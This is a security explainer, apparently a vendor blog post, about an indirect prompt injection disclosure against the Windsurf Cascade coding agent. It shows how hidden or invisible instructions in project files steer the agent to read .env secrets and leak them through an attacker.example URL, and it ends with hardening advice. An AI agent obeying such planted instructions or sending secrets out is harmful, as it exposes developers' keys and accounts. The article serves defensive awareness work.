Why is Windsurf Cascade making HTTP requests without my consent?

You opened a file in Windsurf, asked Cascade to summarise it, and then noticed an outbound HTTPS request you never approved. If the file contained anything sensitive, your environment variables or API keys may already have left the machine. This is the practical shape of the indirect prompt injection issue disclosed against Cascade in 2025, and it is worth knowing what changed and what did not.

Short answer

Windsurf Cascade shipped a tool called read_url_content that issued outbound HTTP requests without prompting the developer for approval. Researcher Johann Rehberger at Embrace The Red showed in May 2025 that instructions hidden in a project file could hijack Cascade into reading the developer's .env file and posting its contents to an attacker-controlled server. The public write-up appeared in August 2025 after three months without status updates. The defence is human-in-the-loop on any tool that touches the network.

What you should know

• Cascade carries network tools by default. read_url_content, codebase_search, write_to_file, the web tool, and terminal commands all run inside the agent. Some require approval, some do not.
• The attacker does not need to compromise the IDE. A README, a comment in a vendored dependency, or a docstring can carry instructions that Cascade reads as a directive.
• Two distinct CVEs apply. CVE-2025-62353 is path traversal in codebase_search and write_to_file, scored CVSS 9.8 by HiddenLayer. CVE-2026-30615 covers unauthorized modification of the local MCP configuration, scored CVSS 8.0.
• Auto-execute mode is the multiplier. Cascade has a terminal auto-execute setting often referred to as Turbo. When it is on, the gap between a prompt injection and a remote command shrinks to one tool call.
• Disclosure timeline matters. Embrace The Red disclosed read_url_content on 30 May 2025. Windsurf acknowledged receipt within days. The public write-up appeared on 21 August 2025 after three months of silence.

How does the read_url_content tool bypass user consent?

In Cascade's default configuration, the read_url_content tool is treated as a read-only data fetch and runs without prompting the developer. The Embrace The Red write-up titled Hijacking Windsurf: How Prompt Injection Leaks Developer Secrets shows that this design choice is the bridge between an indirect prompt injection and outbound data exfiltration. The model decides to fetch a URL. The URL points to attacker.example. The query string carries whatever the model just read from the local filesystem.

What turns a tool call into a leak is the query string. read_url_content accepts any URL, so the model can embed stolen data inside the URL itself, for example https://attacker.example/log?key=AKIA.... The HTTP request goes out before the developer sees the agent's reply, and most outbound traffic from a developer's machine looks like normal web activity in network logs. By the time the human approves the next visible action, the exfiltration has already happened.

The honest read is that the fetch path was designed for convenience: pulling documentation, reading a stack trace from a public bug tracker, fetching an OpenAPI spec. The convenience and the risk live in the same call.

What does an indirect prompt injection look like inside a project file?

Indirect prompt injection means the attacker writes the instructions and waits for someone else's agent to read them. In Windsurf, the carrier is usually a file inside the developer's project: a README, a license header, a fixture in a tests directory, a docstring in a transitive dependency. The instructions tell Cascade to read the .env file, encode it, and pass it to read_url_content with an attacker URL.

A second variant uses invisible Unicode Tag characters. The follow-up Embrace The Red post, Sneaking Invisible Instructions by Developers in Windsurf, shows that Cascade interprets Unicode Tag characters as instructions even though they render blank to humans. A file that appears empty in the editor can carry a fully formed agent command. Reviewers cannot defend against text they cannot see.

The mistake many developers make is treating "review the file before running the agent" as a defence. Visual review does not catch invisible characters, and busy developers do not read every comment in every transitive dependency before asking Cascade to analyse a folder.

Which CVEs and tools are tied to this issue?

Two CVEs sit alongside the read_url_content disclosure, and they widen the blast radius from reading secrets to reading and writing arbitrary files and executing remote commands. Both are documented in public CVE feeds.

The Witness AI write-up titled Windsurf security: risks, CVEs, and enterprise governance treats these as a cluster rather than three separate issues, since the same attack pattern (instructions hidden in a project file) can chain them together. A README that triggers codebase_search to harvest secrets, then read_url_content to exfiltrate them, then MCP configuration tampering to install persistence, is a plausible sequence the agent will execute without further approval if auto-execute is on.

What changes did Windsurf make, and what is still open?

Windsurf acknowledged receipt of the read_url_content disclosure within days of the May 2025 report and later committed to fixes without an estimated timeline. As of the public write-up in August 2025, Embrace The Red recorded no status response on triage or remediation. The Windsurf product documentation at docs.windsurf.com describes Cascade's tool set, including the web tool and terminal access, but does not yet document a per-tool approval matrix.

The practical state, observed at the time of writing, is that the read_url_content path remains a tool the agent can call without per-call approval in default configurations. The exception is when an administrator forces terminal auto-execute mode off at the org level, which closes part of the attack surface but does not close the network fetch path. Treat any HTTP capability inside an agent as a possible exfiltration channel until per-domain allowlisting lands in the product.

How can mobile builders harden Cascade before submission?

For builders shipping iOS and Android apps, the read_url_content disclosure has a specific downstream effect: secrets that leak through Cascade do not stay on the developer's laptop. App signing keys, App Store Connect API keys, Google Play service account JSON files, Firebase admin tokens, and Supabase service-role keys are all the kind of artifact a vibe-coded project tends to keep nearby. A leaked App Store Connect key can be used to upload builds under your team identifier, which is a problem the Apple Developer Program is slow to unwind.

Five practical steps:

• Move secrets out of the project tree. Use the platform keychain, an encrypted secrets vault, or a managed secret manager that the IDE cannot read by default.
• Audit the README, the docs directory, and any vendored licence files for instructions or hidden Unicode characters before opening the project in Windsurf.
• Pin Cascade's auto-execute mode to off at the workspace level, especially on machines that hold signing material or store credentials.
• Run a deny list at the network layer that blocks outbound traffic to unrecognised domains during agent sessions, even if a clean allowlist is hard to maintain.
• Review the final build before submitting. For builders who want an external automated read of a compiled APK, AAB, or IPA before upload, PTKD.com (https://ptkd.com) is one of the platforms focused on pre-submission scanning aligned with OWASP MASVS, including checks on hardcoded secrets and outbound network endpoints inside the bundle.

What to watch out for

The biggest mistake is treating "I trust Windsurf" as the same as "I trust every file Cascade reads". Indirect prompt injection moves the attacker into the data layer. A pull request, a Stack Overflow snippet pasted into a comment, or a malicious npm package's README can become the carrier. The IDE binary can be perfectly clean and the leak still happens.

Two myths worth retiring. First, that disabling auto-execute removes the risk. Auto-execute affects the terminal, but the network fetch tool runs whether auto-execute is on or off in default builds. Second, that running Cascade on a corporate VPN closes the exfiltration path. Outbound HTTPS to attacker.example via a tool call looks identical to outbound HTTPS to a documentation site in most VPN logs.

A quieter trap: if your Cascade workflow includes "summarise this dependency", the agent is reading every README in every transitive package. The attack surface is the sum of every text file the agent will touch, not just the code you wrote.

Key takeaways

• Treat any agent tool that can call out to the network as a possible exfiltration channel. read_url_content was the first documented example in Windsurf; it will not be the last in this product class.
• Move secrets out of the project tree before letting Cascade analyse a folder. Path traversal CVE-2025-62353 covers files outside the workspace too, so a global secrets cleanup is more durable than a per-project one.
• Pin auto-execute off at the workspace level, and watch outbound network requests during agent sessions until per-domain allowlisting is standard inside Cascade.
• Audit READMEs and licence files for invisible Unicode characters when working with unfamiliar repositories. Visible review alone is not enough.
• For builders shipping to App Store Connect or Google Play, an external pre-submission scan from a platform like PTKD.com (https://ptkd.com) is a calm way to verify the compiled bundle does not carry secrets, hardcoded endpoints, or outbound calls a leaked key might enable.